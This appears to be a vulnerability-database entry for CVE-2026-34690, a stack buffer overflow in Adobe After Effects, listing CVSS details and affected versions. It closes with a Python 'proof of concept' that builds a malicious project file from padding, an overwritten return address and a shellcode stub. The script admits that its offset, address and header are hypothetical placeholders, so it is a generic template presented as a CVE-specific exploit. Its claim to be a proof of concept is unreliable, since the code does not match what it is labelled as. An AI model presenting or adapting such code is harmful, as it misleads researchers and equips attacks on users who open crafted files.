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CVE-2026-34690 CVSS 7.8 HIGH

CVE-2026-34690

Published: 2026-05-12 20:16:39
Last Modified: 2026-05-13 19:42:49

Description

After Effects versions 26.0, 25.6.4 and earlier are affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:adobe:after_effects:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe After Effects <= 26.0
Adobe After Effects <= 25.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # Proof of Concept for CVE-2026-34690 # This script generates a malicious file structure to trigger the stack overflow. # Note: Offset and specific header structure need to be adjusted based on actual file format analysis. def generate_malicious_file(filename): # The malicious payload (e.g., NOP sled + Shellcode) # Placeholder for calc.exe execution on Windows shellcode = b"\x90" * 100 + b"\xCC" * 4 # Padding to reach the return address offset # Assuming offset is 500 bytes (Hypothetical value) offset = b"A" * 500 # Overwrite return address (Hypothetical address) ret_addr = struct.pack('<L', 0xdeadbeef) # Construct the payload payload = offset + ret_addr + shellcode # Write to file (simulating a project file) with open(filename, 'wb') as f: # Write a minimal header if required by the parser f.write(b'HEADER_MAGIC') f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit.aep")

References

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